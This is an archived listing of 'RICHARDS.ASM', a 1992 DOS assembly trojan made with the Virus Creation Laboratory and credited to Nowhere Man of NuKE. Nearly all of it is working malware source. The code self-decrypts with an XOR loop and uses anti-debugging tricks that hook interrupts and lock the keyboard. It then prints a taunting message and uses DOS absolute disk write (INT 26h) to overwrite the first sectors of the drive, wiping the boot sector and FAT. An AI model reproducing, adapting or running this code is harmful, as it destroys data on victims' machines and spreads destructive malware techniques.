home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / RICHARDS.ASM < prev    next >
Assembly Source File  |  1992-07-05  |  2KB  |  83 lines

  1. ; RICHARDS.ASM -- R. Simmons Trojan
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    3            ; Trojan Horse
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. start        label    near
  14.  
  15. main        proc    near
  16.         call    encrypt_decrypt        ; Decrypt the virus
  17.  
  18. start_of_code    label    near
  19.  
  20. stop_tracing:    mov    cx,09EBh
  21.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  22.         jmp    $-2
  23.         add    ah,03Bh            ; AH now equals 025h
  24.         jmp    $-10            ; Execute the HaLT
  25.         mov    bx,offset null_vector    ; BX points to new routine
  26.         push    cs            ; Transfer CS into ES
  27.         pop    es            ; using a PUSH/POP
  28.         int    021h
  29.         mov    al,1            ; Disable interrupt 1, too
  30.         int    021h
  31.         jmp    short skip_null        ; Hop over the loop
  32. null_vector:    jmp    $            ; An infinite loop
  33. skip_null:    mov    byte ptr [lock_keys + 1],130  ; Prefetch unchanged
  34. lock_keys:    mov    al,128            ; Change here screws DEBUG
  35.         out    021h,al            ; If tracing then lock keyboard
  36.  
  37.         mov    si,offset data00    ; SI points to data
  38.         mov    ah,0Eh            ; BIOS display char. function
  39. display_loop:   lodsb                ; Load the next char. into AL
  40.         or    al,al            ; Is the character a null?
  41.         je    disp_strnend        ; If it is, exit
  42.         int    010h            ; BIOS video interrupt
  43.         jmp    short display_loop    ; Do the next character
  44. disp_strnend:
  45.  
  46.         mov    ax,0002h        ; First argument is 2
  47.         mov    cx,0010h        ; Second argument is 16
  48.         cli                ; Disable interrupts (no Ctrl-C)
  49.         cwd                ; Clear DX (start with sector 0)
  50.         int    026h            ; DOS absolute write interrupt
  51.         sti                ; Restore interrupts
  52.  
  53.  
  54.         mov    ax,04C00h        ; DOS terminate function
  55.         int    021h
  56. main        endp
  57.  
  58. data00        db      "C'mon now, trim that FAT!  1 and 2 and 3 and....",13,10,10,0
  59.  
  60. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  61.  
  62.  
  63. note        db    "The Richard Simmons Trojan; gu"
  64.         db    "aranteed to get rid of that un"
  65.         db    "sightly FAT in no time!",0
  66.         db    "[Richard Simmons Trojan]",0
  67.         db    "Nowhere Man, [NuKE] '92",0
  68.  
  69. end_of_code    label    near
  70.  
  71. encrypt_decrypt    proc    near
  72.         mov    si,offset start_of_code ; SI points to code to decrypt
  73.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  74. xor_loop:    xor    word ptr [si],06734h    ; XOR a word by the key
  75.         inc    si            ; Do the next word
  76.         inc    si            ;
  77.         loop    xor_loop        ; Loop until we're through
  78.         ret                ; Return to caller
  79. encrypt_decrypt    endp
  80. finish        label    near
  81.  
  82. code        ends
  83.         end    main